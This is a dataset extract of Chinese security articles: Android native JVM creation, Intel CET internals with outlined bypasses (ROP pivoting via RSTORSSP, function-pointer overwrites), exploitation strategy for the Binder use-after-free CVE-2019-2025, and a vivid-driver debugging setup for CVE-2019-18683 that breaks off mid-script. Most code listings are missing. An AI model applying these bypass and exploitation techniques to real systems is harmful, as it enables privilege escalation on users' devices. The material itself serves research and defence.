text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【技术分享】在Android Native层中创建Java虚拟机实例
##### 译文声明
本文是翻译文章，文章来源：calebfenton.github.io
原文地址：<https://calebfenton.github.io/2017/04/05/creating_java_vm_from_android_native_code/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[大脸猫](http://bobao.360.cn/member/contribute?uid=52887766)
预估稿费：140RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
Android应用中JNI代码，是作为本地方法运行的。而大部分情况下，这些JNI方法均需要传递Dalvik虚拟机实例作为第一个参数。例如，你需要用虚拟机实例来创建jstring和其他的Java对象、查找类或成员变量等。大部分情况下，在你用JNI接口从Java层调用Native层中的代码时，你并不需要在native代码中自己初始化一个Dalvik虚拟机实例。但是，如果你在搞逆向或者写exp，你总是需要钻研各种非常规的情况。
最近，我在逆向时需要在native代码中手动创建虚拟机实例用于在JNI接口函数中传递Java对象。在本文中，我将分享我是如何实现这种方法的。
**标准方法**
在JNI中创建JVM虚拟机实例的官方文档在地址[How to Create a JVM Instance in
JNI](http://www.developer.com/java/data/how-to-create-a-jvm-instance-in-jni.html)。但是，不幸的是这种方法在Android上面是不能正常运行的，因为jint JNI_CreateJavaVM(JavaVM**,
JNIEnv**,
void*)函数不是导出函数，无法直接调用。假如你不熟悉这个方法的话，可以根据它的名字在jni.h文件中查找一下，确认是否是导出函数。在我这里，jni.h文件位于android-sdk/ ndk-bundle/platforms/android-9/arch-x86/usr/include/jni.h。相关代码如下：
如果你尝试编译调用上述截图中函数的代码，你可能会得到下面的错误：
官方文档中介绍的如何创建JVM的方法在这里可以用来理解上述的API函数和它们的选项和参数的用途。如果你想在Android中使用这些方法，你必须显示从so库中调用这些方法。
官方文档中介绍的如何初始化虚拟机的类路径，在此处是非常有用的。其内容如下：
上面的配置，设置当前的类路径为当前目录（.）。如果你想要虚拟机访问系统或者app的类，这是必须设置的。实验表明，将该值设置为一个目录并不会起作用。我尝试将其设置为/data/local/tmp，同时在该目录下放置了一个dex文件、含有dex文件的jar包和apk文件。只有在设置jar包、dex文件或apk文件的全路径时，上述选项才起作用。奇怪的是，当类路径中没有一个合法的文件时，系统类（例如java.lang.String）都不能访问。换句话说，除非类路径中至少有一个文件，否则语句(*env)->FindClass(env,
"java.lang.String")返回0，甚至java.lang.String这样定义在框架中的类都无法访问。
为了测试，下面将一个apk文件push到模拟器或真机设备中。
JavaVMOption的使用如下：
你现在可以使用FindClass函数来加载系统或者app的类。此外，如果你需要加载本地库到你的虚拟机中，例如在静态初始化器中加载一个库文件，你可以使用optionString
=
"-Djava.library.path=/data/local/tmp"这样的设置。这有个[样例代码](http://docs.oracle.com/javase/7/docs/technotes/guides/jni/jni-12.html#invo)。
**UniccUnlock方法**
从文件[UniccUnlock.cpp](https://gist.github.com/tewilove/b65b0b15557c770739d6#file-uiccunlock-cpp)中，展示了另外一种创建虚拟机的类似技巧。我不敢说我完全理解了它在做什么，但是其中吸引我的是get_transaction_code部分。下面是它的做的事：
creates a Java VM
use the VM to get reference to com.android.internal.telephony.ITelephony$Stub class
get the TRANSACTION_sendOemRilRequestRaw field value
destroy the VM
return field value
代码看起来像是根据成员值判断当前设备是否已经解锁或者是解锁方法是否成功。反正我是不很确定，不过我也就想抽取其中创建虚拟机的代码而已。
该方法是通过在库文件libnativehelper.so或者libdvm.so中加载创建虚拟机相关的方法。但是，下面几行代码看起来很奇怪：
任何地方都无法找到这几个方法的文档说明。不过，发现这些方法调用的人相当聪明。如果不调用这些方法，你就会得到下面奇怪的错误信息：
除了这几个奇怪的方法，这种方式创建虚拟机对我很好使。但是，我想知道_ZN13JniInvocationC1Ev方法都做了什么，在不同版本间的Android系统中是否可移植。我的直觉告诉我，硬编码的方法名可能会导致在不同的设备或者Android版本间的不兼容性。
**Surfaceflinger 方法**
最终，我在谷歌的Surfaceflinger服务的源码中找到了：[DdmConnection.cpp](https://android.googlesource.com/platform/frameworks/native/+/ce3a0a5/services/surfaceflinger/DdmConnection.cpp)。
它默认查找了在libdvm.so中的函数JNI_CreateJavaVM。它没有调用方法_ZN13JniInvocation，而是调用了库libandroid_runtime.so中的Java_com_android_internal_util_WithFramework_registerNatives方法。registerNatives方法的内容[在此描述](http://stackoverflow.com/questions/1010645/what-does-the-registernatives-method-do)了。
同时，感兴趣的是创建虚拟机的选项：
这些选项在[这篇文档](http://www.netmite.com/android/mydroid/2.0/dalvik/docs/debugger.html)中详细描述了。根据文档，它仅仅用于调试JVM时使用。
同时，我注意到它JNI的版本是1_4，但是我设置为1_6了，因为谷歌的[样例代码](https://developer.android.com/training/articles/perf-jni.html#native_libraries)中就是这样设置的。下面就是jni.h中支持的版本号:
最后，我使用上面的方式来创建虚拟机，因为它来自谷歌，具有很好的健壮性和兼容性。
**最终代码**
下面就是最终的创建虚拟机的代码：
下面是其使用方法： | 社区文章 |
# Intel CET缓解措施深度研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 TL;DR
上⼀篇⽂章中已经简单介绍过了CET的基本原理和实际应⽤的⼀些技术，站在防守⽅的视⻆下，CET确实是⼀个能
⽐较有效防御ROP攻击技术的措施。那么在攻击者的视⻆来看，研究清楚CET的技术细节，进⽽判断CET是否是⼀
个完美的防御⽅案，还是存在⼀定的局限性，则是攻击⽅的重中之重。
本⽂由浅⼊深地讲述CET的实现细节，最后提出⼏个理论可⾏的绕过⽅案，供研究者参考。
## 0x01 Shadow Stack Overview
上⼀篇⽂章已经⼤概对CET做了个基本概念介绍，所以就不重复，直接说重点。
### Shadow Stack PTE
Shadow Stack本质上是块内存⻚，属于新增的⻚类型，因此需要增加⼀个新的⻚属性来标识Shadow
Stack。PTE中的⼀些未有被CPU定义的，也有保留给操作系统使⽤的，例如第0位的Present就由CPU标识⻚是否分配。Linux
操作系统没有将所有保留位都使⽤掉（⽤于别的⽤途），但是其他操作系统则没有剩余可⽤的保留位了，因此从 Linux中取⼀个未使⽤的位，不太可取。
这⾥Linux采⽤了复⽤很少使⽤的⻚状态（写时复制的状态）：write=0, dirty=1。当Linux需要创建写时复制 write=0,
dirty=1的⻚时，⽤软件定义的_PAGE_COW代替_PAGE_DIRTY，创建shadow stack时，则使⽤write=0,
dirty=1。这就将两者区分开来了：
### Shadow Stack Management Instructions
为了保证shadow stack的独特性，CET专⻔设计了独有的汇编指令。普通的指令（MOV, XSAVE…）将不被允许操 作shadow stack。
这⾥重点说SAVEPREVSSP、RSTORSSP。Linux环境下，会存在栈切换的情况（系统调⽤、信号处理…），为了保 证shadow
stack的正常运作，数据栈切换后shadow stack也需要相应切换，因此就会⽤到这两个指令。
下图为执⾏RSTORSSP指令前后的shadow stack状态变化。执⾏的操作为先将SSP指针指向new shadow stack的 ‘restore
token’，即0x4000。然后⽤current（old） shadow stack的地址做‘new restore token’替换掉‘restore
token’，⽤于后续的SAVEPREVSSP指令使⽤。
下图为执⾏SAVEPREVSSP指令前后的变化。执⾏的操作为将前⾯设置的‘new restore token’压⼊previous shadow
stack中，并将标志位置0。然后将SSP指针加1。
⾄此，就完成了shadow stack切换的整个过程。
## 0x02 Shadow Stack Implementation
这⾥不提及Shadow Stack的普遍情况（⻅上⼀篇⽂章），只研究Shadow Stack在⼀些特殊场景下的实现，在这些 场景中光申请Shadow
Stack⻚后做push/pop操作是不够的，往往需要更复杂的实现。
### Signal
⼀般⽤户需要对某个信号做⾃定义的特殊处理时，就会⽤到信号。对应的函数为signal()、sigaction()：
当捕获信号到执⾏信号处理函数再到恢复正常执⾏的整个过程中，会经历进程挂起、Ring0和Ring3间的切换、上下⽂切换等操作，这都需要shadow
stack作出相应的变化，否则就会出现不可知的异常。下图是信号处理期间进程的变化。
以signal函数举例，在glibc中它的具体实现为下⾯所示，最终会调⽤rt_sigaction去注册信号。
再看CET的实现，它在 **setup_rt_frame 函数中添加了shadow stack相关的操作函数，** setup_rt_frame 函
数会在信号处理过程中被调⽤，即上⾯信号处理期间进程变化的图中②的期间：
上⾯新增的 setup_signal_shadow_stack 函数，参数restorer即为前⾯ **libc_sigaction 函数中提到的**
NR_rt_sigreturn 系统调⽤，且该参数后续会被push到shadow stack中去作为新的函数返回地址。
相应地，再看 __NR_rt_sigreturn 系统调⽤的实现，该调⽤会在上⾯信号处理期间进程变化的图中④执⾏，CET 也在该处做了相应的改动：
从上⾯ rt_sigreturn 新增代码结合 __setup_rt_frame 新增代码可知，两者是相互配合的：⼀个负责创建 restore
token并在shadow stack设置返回地址，另⼀个则负责校验restore token并设置新的ssp，以此来兼容在
信号处理过程中数据栈切换、上下⽂切换的场景。
⾄于为什么要在创建restore token后设置shadow
stack返回地址，是因为在信号处理过程中执⾏完sa_handler⽤户⾃定义函数后，紧接着就会执⾏sa_restorer所设置的函数，因此在CET场景下需要在shadow
stack设置相应的返回地址。
### Fork
调⽤fork后，存在两种情况：
1. ⼦进程和⽗进程分别有⾃⼰的⼀块内存，不共享；
2. ⼦进程和⽗进程共享同⼀块内存，为vfork。
因此，在shadow stack场景下，需要对fork系统调⽤做特殊处理。fork调⽤链如下：
CET在copy_thread函数中添加了相关代码：
从上⾯新增的代码可知，CET针对fork系统调⽤过程增加了创建新的shadow stack的部分，以兼容fork后⽗⼦进程
不共享内存的情况。同时也对vfork后⽗⼦进程共享内存的情况做了处理，使得不创建新的shadow stack以兼容相应场景。
Ucontext
ucontext涉及到协程相关的技术，该技术和系统调⽤在R3、R0间的切换⽐较类似。但是该技术作⽤于⽤户态，⽬
的是给⽤户态程序提供更快的切换效果，以及使得⽤户态的代码能够更加灵活。在⽤户态层⾯实现上下⽂切换。常⽤的函数为getcontext/setcontext：
setjmp/longjmp的技术原理和实现和ucontext类似，就不提及了。getcontext/setcontext具体实现都在glibc中。ucontext协程技术涉及到上下⽂切换的场景，也会存在数据栈切换的情况，因此，shadow
stack也需要做出相应 的动作。
先看shadow stack在getcontext中的改动，先⽤ __NR_arch_prctl 系统调⽤获取当前shadow stack的基地址，其
次将其保存在SSP_BASE_OFFSET寄存器中，随后保存shadow stack基地址、ssp值在ucontext结构体中，供后续
setcontext使⽤：
再来看setcontext中的改动，校验getcontext保存的ucontext中的shadow stack基地址和ssp，再恢复，达到切换
回上⽂状态的⽬的：
上⾯getcontext/setcontext的场景，是在同⼀块shadow
stack中实现切换，因为进程并没有创建新的数据栈。此外，makecontext会创建⼀个新的数据栈，开辟⼀个新的上下⽂，和上⾯的场景⼜有些许不同，makecontext和
setcontext也都做了相应的改动，由于篇幅原因不过多叙述，读者⾃⾏阅读源码即可，技术原理都是⼀样的。
## 0x03 CET Bypass
CET在多场景下的实现还是相对复杂的，需要软件层⾯做相应的配合，因此在复杂的设计实现层⾯，是否有可能存
在绕过CET的可能性呢？本⼩节提出⼏个理论可⾏的⽅案供研究者参考。
### Overwrite Function
该⽅法⽐较简单粗暴，篡改结构体中的函数指针来控制执⾏流。假设现有如下代码：
调⽤结构体函数（1）处的汇编代码如下：
此时有间接call，IBT机制会起作⽤，call rax后⼀条指令必须为ENDBR64。
如果此时拥有任意读写的能⼒，就可以篡改结构体str1的test函数指针为over_write（2）即可改变执⾏流。且此时
over_write函数的⼊⼝点也是ENDBR64，即可绕过IBT的检查：
IBT机制会给绝⼤部分函数体的⼊⼝点添加ENDBR指令，因此这种⽅法还是可⾏的，实际测试：
扩展⼀下，还可以利⽤JOP去做。例如使⽤以下序列，也可以绕过CET：
但是这种JOP序列实际上是⽐较稀少的，难找到。
### Migrate Shadow Stack by RSTORSSP
这种⽅案利⽤了CET新增的指令来做⽂章。前⾯已经介绍过了RSTORSSP，⽤于shadow stack的切换，那么如果切 换到的是攻击者伪造的shadow
stack呢？
整个过程⽐较简单，步骤如下：
1. 构造⼀块可控内存；
2. 在可控内存中事先构造好返回地址，后续作为shadow stack使⽤；
3. 将内存转变为shadow stack；
4. 构造ROP；
5. ROP利⽤rstorssp将原shadow stack迁移到伪造的shadow stack中；
6. ROP执⾏system。
CET针对mmap和mprotect都做了相应的改动，在mmap中主要增加了⼀个VMA_FLAG为VM_SHADOW_STACK的
属性，在mprotect中除了PROT_READ/PROT_WRITE外增加了PROT_SHADOW_STACK（有⼀点是PROT_WRITE和
PROT_SHADOW_STACK不能同时使⽤，即只读），这两者是互相对应的关系。简单编写了这种⽅案的demo：
调试效果如下，可⻅当前已经将shadow stack切换到事先伪造的内存⻚中，且返回地址也篡改得和数据栈返回地址 相同，为0x41414141：
最终，RIP也能成功执⾏到控制的执⾏流：
不过这种⽅法在实际场景中构造的要求⽐较⾼，局限性⽐较⼤。
当然了，还有更粗暴的⽅法，CET新增指令还有⼀个WRSS的指令，该指令可以直接在shadow stack中写数据。但
是该指令需要在CPU上做使能操作，⽬前笔者阅读的源码暂时还没有使能，就不赘述了。
## 0x04 Summary
CET与以往软件实现的CFI不同，它从硬件侧寻找解决⽅案，在底层就将ROP掐断，对于软件CFI来说从性能、缓解效果⻆度来说都有着极⼤的提升。有得必有失，底层的变动必然会撬动上层随之变化，想要将这⼀缓解措施真正实
施落地，还有着很⻓的⼀段路要⾛。笔者略浅地研究了⼀番CET当前的实施进展，提出了部分攻防⽅向上的想法，
供后续研究者参考。我相信在不远的将来，CET的落地会给攻防带来很⼤的变化，到时候⼜将摩擦出怎样的⽕花？让我们⼀起期待吧。
## 0x05 Reference
<https://github.com/yyu168/linux_cet/commit/72367656271aba4d29a25b38232e680ab9231a26>
<https://ty-chen.github.io/linux-kernel-signal/>
<https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/sigaction.c.html#__libc_sigaction>
<https://man7.org/linux/man-pages/man2/signal.2.html>
<https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/x86_64/getcontext.S.html#137>
<https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/x86_64/setcontext.S.html#197>
<https://man7.org/linux/man-pages/man3/getcontext.3.html>
https://lore.kernel.org/lkml/[email protected]/
<https://github.com/hjl-tools/linux/commit/280503098ea762b3100edb30d60489a030d4abca> | 社区文章 |
[PENTEST-WIKI ](https://github.com/nixawk/pentest-wiki)
是一个针对渗透测试和安全研究进行知识收集的一个开放项目，从信息收集到比赛心得各方面的知识，不一而足，同时欢迎分享知识提交到该项目。
> “If I had eight hours to chop down a tree, I’d spend the first six of them
> sharpening my axe.” - Abraham Lincoln
>
> “The quieter you become, the more you can hear.” - Ram Dass
### 相关知识点
包括且不仅限于以下要点：
* 信息收集
* 漏洞评估
* 漏洞利用工具
* 后渗透阶段
* 提权
* 测试报告
* 相关书籍
* CTF 相关
* 逆向工程
* 系统服务
### 如何参与贡献
1. 先检查已有的 issue 或者提交新的 issue，可提出自己的一些想法和相关 bug ；
2. 在GitHub 上 Fork 这个[仓库](https://github.com/nixawk/pentest-wiki)，对 master 分支或者其他分支进行提交更改；
3. 提交 pull request 或者 bug 至项目维护者，直到分支合并发布。
### 相关参考链接
1. [PTES Technical Guidelines - The Penetration Testing Execution Standard](http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines)
2. [Penetration Testing Framework 0.59](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html)
3. [How To Become A Hacker](http://www.catb.org/esr/faqs/hacker-howto.html)
4. [Github - awesome-pentest](https://github.com/enaqx/awesome-pentest)
项目地址： https://github.com/nixawk/pentest-wiki
* * * | 社区文章 |
**作者: Hongli Han(@hexb1n) of Qihoo 360 C0RE Team
博客：<http://blogs.360.cn/post/Binder_Kernel_Vul_CH.html>**
### 前言
Binder是基于OpenBinder实现的，是Android系统的重要组成部分。Binder构建于Linux内核中的Binder驱动之上，系统中涉及到Binder通信的部分，都需要通过与Binder驱动交互来实现数据传递。由于Binder驱动在整个Android系统中发挥的重要作用，一直以来也是Android安全研究的重点之一。
在二进制的世界里，对象的生成和销毁都有一定的流程和时间点，有一些是在编译器层面来实现，有一些却需要程序设计者来维护。一旦这个流程设计的不够完美，使得攻击者能够通过非法操作扰乱其正常的生命周期便有可能造成一系列的安全问题。去年8月份我在对Binder驱动代码进行安全审计的时候，发现了一枚如同《三体》中“水滴”一般的内核通杀漏洞，拥有了惊人的破坏力，仅用一个漏洞便可以实现任意地址读、任意地址写、写任意内容、信息泄露。同时，Binder驱动也是目前为数不多的几个可被沙箱中的进程访问的驱动之一，该漏洞可能被用于沙箱逃逸。在如此重要的内核驱动中会潜伏这样一枚通杀漏洞堪称神奇。
基于这个漏洞， **我们实现了对Pixel全系手机的ROOT，其中的Pixel 3也代表了谷歌安卓内核目前最高的安全防御水平，这也是Pixel
3自问世以来，全球范围内首次公开的ROOT攻击。这里要感谢@周明建@王晓东@姚俊@邵大成等团队小伙伴的支持，让漏洞利用能够及早的完成，文末也附了我们的提权视频链接[1]。**
这个漏洞在 **2019年3月的Android Security Bulletin中已经公开，对应的漏洞编号为CVE-2019-2025。**
下文我将会介绍该漏洞危害、影响范围、漏洞原理以及利用思路。
### 漏洞危害及影响范围
#### 漏洞危害
1) 通杀。目前国内外主流的Android机型基本都会受到影响；
2)
攻击能力极强。该漏洞可实现较稳定的任意地址读写、写任意内容、信息泄露，并且每触发一次漏洞便可以任意写一次、读一次，Google现有的内核安全缓解措施对于这类能够任意地址读写的漏洞暂无有效的防御策略；
3) 沙箱逃逸。可能用于沙箱逃逸，并直接提权到ROOT；
同时，Binder驱动已早在2015年初被合入Linux主线，使用了Binder模块的平台均有可能受到影响。
#### 影响范围
该漏洞属于use-after-free问题，触发时需要不同线程间同步竞争调用`“binder_ioctl()”`，而在早期的设计中，`“binder_ioctl()”`由一个效率较低的全局互斥锁保护，见图1。
图1
而此问题后续被优化，从`“drivers/android/binder.c”`的commit日志可以看到，2016年11月14日的一个补丁将这个全局互斥锁去掉，并优化为更加细粒度的互斥锁来保护，见图2。完整的补丁可参见链接[2]。
图2
打上这个补丁的内核源码便可能受到该漏洞的影响。
由于该漏洞具备通杀能力，目前市面上主流在用的2016年11月之后的内核版本多数都会受到影响，在修补该问题之前将会有大量的设备处于安全风险之中。成功ROOT后攻击者可以获得系统的最高权限，同时该漏洞可能被用于远程攻击链，若是被黑产利用将可直接对用户的个人隐私、财产安全甚至人身安全造成严重的危害。目前Linux主线上已提供了针对该漏洞的补丁，Android厂商可参考附注链接[3]及时修补。
### 漏洞的成因
#### 基础知识
关于Binder机制这里就不做过多介绍了，接触过Android的同学应该对它或多或少都有一定的了解。理解该漏洞需熟悉通过Binder通信的双方的基本交互流程，以及中间用到一些结构体对象，网络上关于Binder的资料非常丰富，可自行补充。
#### 漏洞原理
当用户进程通过调用`"IPCThreadState::transact()"`向server进程请求数据时，server进程会调用`”IPCThreadState::sendReply()”`向用户进程回传数据以作为响应。在这个过程中，server进程会陷入内核，并调用`“binder_alloc_new_buf()”`从用户进程（“target_proc->alloc”）对应的`”alloc->free_buffers.rb_node”`红黑树中申请一个`”struct
binder_buffer”`类型的对象，被申请得到的对象会从`”alloc->free_buffers.rb_node”`红黑树中移除，并链入到`”alloc->allocated_buffers.rb_node”`红黑树中进行维护，此后将`”t->buffer->allow_user_free”`赋值为0，以避免`”t->buffer”`在使用过程中被释放，见图3。
图3
用户进程拥有对该`”t->buffer”`的释放权，不过要在用户进程收到了server进程发来的消息，结束本次交互并销毁所用的Parcel对象时。然而，我们可以试图通过主动向内核发送`”BC_FREE_BUFFER”`请求来提前释放该`”t->buffer”`对象，不过这需要满足内核对各项参数的校验，如图4所示。
图4
上文中提到的`“t->buffer”`可以通过向内核传入对应的“data_ptr”值，再通过调用`“binder_alloc_prepare_to_free()”`函数来找到，其返回值会赋值给”buffer”，紧接着内核会检查`“buffer->allow_user_free”`以及`”buffer->transaction”`的合法性，由于缺少互斥锁的保护，这里存在一个条件竞争问题，如果用户进程能在图3中`”t->buffer->allow_user_free”`被赋值为0之前触发到`“binder_alloc_free_buf()->binder_free_buf_locked()->rb_erase()”`，便有可能将其从`”alloc->buffers”`中移除，见图5。
图5
之后便可再选择合适时机触发”kfree()”将其释放，而此时当server进程继续使用`”t->buffer”`时便触发了use-after-free问题。这样我们就可以借助堆喷技术来实现任意地址读写以及信息泄露。
### 漏洞利用
内核中每年公开的漏洞数量都多达数百个，但真正能够成功提权的寥寥无几。而近年来随着系统防护的不断完善，此前一些可以用来ROOT的漏洞，如果处在现有的防护机制下也变的无能为力。在Android的通用模块出现这类具备了任意地址读写、信息泄露能力，同时还可能用于沙箱逃逸的漏洞十分少见。即便随着Android系统后续一些新的防护机制引入，这类漏洞仍有可能具备很强的攻击潜力。由于漏洞的特点，攻击手法也是仁者见仁智者见智，我们也做出来几种不同的利用方案，这里会介绍漏洞利用的基本思路，具体的细节这里不会放出。
#### 任意地址写
调用合适的堆喷函数去占位该`”t->buffer”`对象，堆喷成功后，图3中3178行所示的`"t->buffer->data"`可由攻击者完全控制，而`"tr->data.ptr.buffer"`是server进程发给用户进程的reply数据，可由攻击者间接控制。当`“copy_from_user()”`函数被执行时，便触发了任意地址写问题。
#### 任意地址读
server进程此后又会调用`“binder_enqueue_thread_work_ilocked()”`函数向用户进程发送消息，如图6中3377行所示。
图6
与此同时，用户端进程在循环调用`“IPCThreadState::talkWithDriver()”`等待server进程的响应。当有消息到达时，内核会通过调用图7中4100,
4107行所示函数，将server进程发送过来的`“struct
binder_transaction”`类型的对象取出，并保存在变量”t”中，其中`“t->buffer”`是被我们控制的恶意对象，而`"target_node"`是`”struct
binder_buffer”`结构体的一个成员变量，若将其设置为非空值，将会被当成`”struct
binder_node”`类型的指针，并从该指针加0x58、0x5c位置取值赋值给`”tr.target.ptr”`及`”tr.cookie”`。此后内核再调用4319行所示的`”copy_to_user()”`将数据传递给用户进程。通过这一机制我们便可以实现任意地址读。
图7
#### 信息泄露
通过寻找一些带有敏感信息的结构体对`”t->buffer”`进行堆喷，`“t->buffer->target_node”`,
`“t->buffer->data_size”`, `“t->buffer->data”`都将作为信息泄漏点，将堆喷结构体中的敏感数据泄露给用户进程。
### 时间节点
* 2018-08月份发现该漏洞，确认了漏洞危害及影响范围；
* 2018-09-28提交至Google；
* 2018-10-06 Google回复邮件，进一步确认问题细节；
* 2018-10-23 Google确认该问题；
* 2018-11-02 提交漏洞利用至Google；
* 2018-11-06 Linux kernel主线上修复该问题；
* 2018-12-18告知漏洞公开时间，并多次在邮件中致谢；
* 2019-03-05安全公告，漏洞编号为CVE-2019-2025；
我们是全球首个发现该漏洞并提交至Google的安全团队，同时由于漏洞本身的严重性，并且我们成功利用这一漏洞绕过了代表谷歌安卓目前最高水平的内核防护机制，完成了针对Google旗下三款Pixel系列机型的完美ROOT，也收到了Google诚挚的致谢。
### 总结
漏洞在原理上拥有极强的攻击能力，但在实际利用过程中还是有一定的门槛，需要非常熟悉漏洞利用技巧及内核的相关知识才能将其稳定的利用，我们在Pixel系列设备上能够实现近100%的漏洞触发成功率。在Android系统安全防护日臻健全的时代，这类通杀漏洞更是具备了稀缺性，也是黑产从业者梦寐以求的，安全研究人员如果不能赶在他们之前发现并修补该漏洞，一旦被黑产从业者掌握并大规模利用，造成的损失将难以估计。各家Android厂商也需尽快修复该问题，避免用户暴露在安全风险之中。
### 参考
[1] <https://weibo.com/tv/v/HaeCNbLmz?fid=1034:4324393006868015>
[2] <https://lore.kernel.org/patchwork/patch/805040/>
[3]
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7bada55ab50697861eee6bb7d60b41e68a961a9c>
* * * | 社区文章 |
# CVE-2019-18683 linux v4l2 漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
`CVE-2019-18683`是 linux v4l2 子系统上的一个竞争漏洞，潜伏时间长达5年，[Alexander
Popov](https://a13xp0p0v.github.io/)在[OffensiveCon
2020](https://www.offensivecon.org/speakers/2020/alexander-popov.html)上披露了漏洞细节。影响`vivid`驱动，最终造成uaf，有可能可以做本地提权。
在这篇文章，我们主要分析漏洞相关代码来找出漏洞的成因。
## 漏洞分析
### 调试环境搭建
v4l2 即`video for linux version 2`，
是和linux视频相关的子系统，当你在linux上用电脑的摄像头时就会使用到它，对应的驱动是`/dev/videoX` 。
漏洞影响的是 `vivid` 模块，但是这个模块默认情况下是不会加载的，需要我们手动加载，例如在`ubuntu 1804` 上可以用下面的命令加载它:
可以普通用户也有这个设备的访问权限，这就给攻击提供了可能性。
要调试分析这个驱动，可以直接就是装两个`ubuntu`
的vmware虚拟机，然后双机调试。但是自己测试的时候双机搞实在是慢的可以，而且还会出现各种问题十分蛋疼，所以就自己搞了个qemu
的调试环境，环境的搭建可能不太规范，但还是可以满足基本的调试需求的。
**linux 内核编译**
`vivid` 模块有很多的依赖，但是我不清楚具体内核需要用什么编译选项，所以就直接用了自己虚拟机上的编译配置，我用的是`ubuntu 18.04`
系统，内核用的[linux-5.4版本](https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.4.tar.xz),拷贝系统的config
文件，然后直接`make` 编译即可
cp /boot/config-4.15.0-76-generic .config
**运行环境**
文件系统的话随便找一个ctf的内核题拿一个就行，我这里用的是常用的
cpio格式的文件系统，但是这里还需要我们自己把模块加载进来，可以把驱动搞进`/lib/modules`
之类的，这里我的做法是把编译好的模块的`ko`文件找出来，在系统运行后自己`insmod`进去。
`vivid`模块在内核的/drivers/media/platform/vivid目录下，这个模块有很多的依赖，需要先把依赖的模块也加载才行,
查看`ubuntu`虚拟机的模块依赖`/lib/modules/5.4.0/modules.dep`可以找到它依赖的ko文件
➜ root@prbvv ~/cve-2019-18683/linux/drivers/media/platform/vivid cat /lib/modules/5.4.0/modules.dep |grep vivid
kernel/drivers/media/platform/vivid/vivid.ko: kernel/drivers/media/common/v4l2-tpg/v4l2-tpg.ko kernel/drivers/media/common/videobuf2/videobuf2-dma-contig.ko kernel/drivers/media/v4l2-core/v4l2-dv-timings.ko kernel/drivers/media/cec/cec.ko kernel/drivers/media/rc/rc-core.ko kernel/drivers/media/common/videobuf2/videobuf2-vmalloc.ko kernel/drivers/media/common/videobuf2/videobuf2-memops.ko kernel/drivers/media/common/videobuf2/videobuf2-v4l2.ko kernel/drivers/media/common/videobuf2/videobuf2-common.ko kernel/drivers/media/v4l2-core/videodev.ko kernel/drivers/media/mc/mc.ko
把这些模块全部都拷贝到文件系统里面:
#!/bin/bash
abs_dir=/home/prb/cve-2019-18683/linux-5.4
cp $abs_dir/drivers/media/platform/vivid/vivid.ko vivid.ko
cp $abs_dir/drivers/media/common/v4l2-tpg/v4l2-tpg.ko v4l2-tpg.ko
cp $abs_dir/drivers/media/common/videobuf2/videobuf2-dma-contig.ko videobuf2-dma-contig.ko
cp $abs_dir/drivers/media/v4l2-core/v4l2-dv-timings.ko v4l2-dv-timings.ko
cp $abs_dir/drivers/media/cec/cec.ko cec.ko
cp $abs_dir/drivers/media/rc/rc-core.ko rc-core.ko
cp $abs_dir/drivers/media/common/videobuf2/videobuf2-vmalloc.ko videobuf2-vmalloc.ko
cp $abs_dir/drivers/media/common/videobuf2/videobuf2-memops.ko videobuf2-memops.ko
cp $abs_dir/drivers/media/common/videobuf2/videobuf2-v4l2.ko videobuf2-v4l2.ko
cp $abs_dir/drivers/media/common/videobuf2/videobuf2-common.ko videobuf2-common.ko
cp $abs_dir/drivers/media/v4l2-core/videodev.ko videodev.ko
cp $abs_dir/drivers/media/mc/mc.ko mc.ko
然后在系统启动的时候insmod，注意加载的顺序， lsmod 查看是否成功加载。
#!/bin/sh
currdir=/mod
insmod $currdir/v4l2-tpg.ko
insmod $currdir/v4l2-dv-timings.ko
insmod $currdir/rc-core.ko
insmod $currdir/videobuf2-memops.ko
insmod $currdir/videobuf2-vmalloc.ko
insmod $currdir/mc.ko
insmod $currdir/videodev.ko
insmod $currdir/videobuf2-dma-contig.ko
insmod $currdir/videobuf2-common.ko
insmod $currdir/cec.ko
insmod $currdir/videobuf2-v4l2.ko
insmod $currdir/vivid.ko
**gdb 调试**
gdb 调试前还需要先把模块的符号加载好，每次模块的加载地址都不一样，这里我直接写了个脚本暴力找模块加载地址，然后每次系统启动的时候运行
#!/bin/sh
#modprobe vivid
linux=/home/prb/cve-2019-18683/linux-5.4
vivid=$linux/drivers/media/platform/vivid/vivid.ko
videodev=$linux/drivers/media/v4l2-core/videodev.ko
v4l2_tpg=$linux/drivers/media/common/v4l2-tpg/v4l2-tpg.ko
v4l2_dv_timings=$linux/drivers/media/v4l2-core/v4l2-dv-timings.ko
videobuf2_v4l2=$linux/drivers/media/common/videobuf2/videobuf2-v4l2.ko
videobuf2_dma_contig=$linux/drivers/media/common/videobuf2/videobuf2-dma-contig.ko
videobuf2_vmalloc=$linux/drivers/media/common/videobuf2/videobuf2-vmalloc.ko
videobuf2_common=$linux/drivers/media/common/videobuf2/videobuf2-common.ko
cec=$linux/drivers/media/cec/cec.ko
mc=$linux/drivers/media/mc/mc.ko
echo "add-symbol-file $vivid" `cat /proc/modules |grep '^vivid' | awk -F ' ' '{print $6}'`
echo "add-symbol-file $videodev" `cat /proc/modules |grep '^videodev' | awk -F ' ' '{print $6}'`
echo "add-symbol-file $v4l2_tpg" `cat /proc/modules |grep '^v4l2_tpg' | awk -F ' ' '{print $6}'`
echo "add-symbol-file $v4l2_dv_timings" `cat /proc/modules |grep '^v4l2_dv_timings' | awk -F ' ' '{print $6}'`
echo "add-symbol-file $videobuf2_v4l2" `cat /proc/modules |grep '^videobuf2_v4l2' | awk -F ' ' '{print $6}'`
echo "add-symbol-file $videobuf2_dma_contig" `cat /proc/modules |grep '^videobuf2_dma_contig' | awk -F ' ' '{print $6}'`
echo "add-symbol-file $videobuf2_vmalloc" `cat /proc/modules |grep '^videobuf2_vmalloc' | awk -F ' ' '{print $6}'`
